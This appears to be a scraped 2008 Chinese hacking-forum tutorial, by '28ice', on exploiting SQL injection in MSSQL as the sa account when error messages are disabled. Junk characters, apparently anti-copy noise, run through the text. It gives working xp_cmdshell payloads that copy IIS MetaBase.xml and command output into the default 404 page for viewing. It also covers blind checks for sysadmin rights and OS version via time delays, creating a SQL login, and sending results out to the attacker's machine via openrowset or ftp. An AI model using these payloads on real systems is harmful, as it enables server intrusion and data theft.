遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。" q9 [* h8 D+ {+ P7 M1 X1 k, p
8 c8 G \" I9 ]/ a }
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
* `0 A! I, N" `; a# u3 e* W0 P* d7 A5 X6 T2 d2 O& T/ M
这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
; ?8 {. C, @5 B: \# H% e
$ X- Z1 a2 `3 _' `! s& W IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm8 E) V$ s6 \5 P" b
7 X. v* P7 V& P 得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
1 o7 [# U: W1 w: @9 J# @- A2 X3 ]# T, H# U! I' |, p
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。5 Z1 M0 B8 ?; {
! H' M0 c) M. j8 o3 N$ r! j- F: R 执行命令得到回显8 X) W/ f) J! e* ^; z
2 z9 `. [7 B5 f6 h 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
# b& `1 U' u6 M# X5 j" W3 R) z+ k- v
7 `8 ^ l3 E" Z; n& l 得到文件也shi相同,把文件copy到404b.htm就行了* F5 d1 c4 |: a5 [" T
: Q% c2 p1 f- Z3 s by 28ice, 2008/6/26% A' }8 B: j5 D' {/ R" e. n/ t4 R3 r
1 M. q, l9 [3 Z: e. b 摘自 28度的冰
" \# N8 Z; L( u+ \' z9 V5 t/ o9 a e- U( q o
盲注判断权限和操作系统版本4 ?+ N/ n3 r; u0 L6 ^% W& S: C' {
, T: f+ D) @/ H8 T/ X* F1 q; q 首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?! A+ M- l1 B2 d
% s# D+ L7 X- B4 m& e& V
最简单的,可能以用这样的方法:: b8 M1 M9 u! U, L3 V
* F- R" Z9 D- `; n* M
1=(select IS_SRVROLEMEMBER(’sysadmin’))
1 j2 Q. ?; b% e+ H% N3 s, Q6 Y9 |4 q9 o" o" W5 R: h
当然,有些情况下,这个方法并不奏效。9 B- H1 U1 x) d+ h
8 e% a: b9 t6 S0 u, g
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
+ \$ t$ U# H, I% X5 Y7 H+ D J% w2 [3 c* \; J$ u. i
有个3办法可能以解决这个问题7 Z& Z+ c" Q: P/ ~# i- ]
& b3 I, x2 M: a: r" { a.把执行结果写到404b.htm,具体请看我的上一篇文章
) ~9 ^6 I$ X9 |0 A2 S- |( O7 u |1 q) u6 D* L( B
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟. Q5 |1 H! K- Q( a
3 z7 ^9 |3 T; e6 Q
c.如果1433端口可能以连接,那干脆新建个sql登录
. k+ K6 }! I7 a/ ~, j% f' r6 p
, t" G) M/ T- n: t d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数$ }# t0 N" w: M; I
7 J* a1 W5 v9 h1 \ 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
; B8 r8 G, w3 t% P, x6 @ }+ X' u" w+ z5 ^4 T# t
很简单6 r) ?- l# D( @* ]: ?
) O E2 [* O" L- ?
执行systeminfo
6 P& {3 b+ \# x! X' i! [, m- W4 g7 |) G3 _6 Y3 ]* w7 m
在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |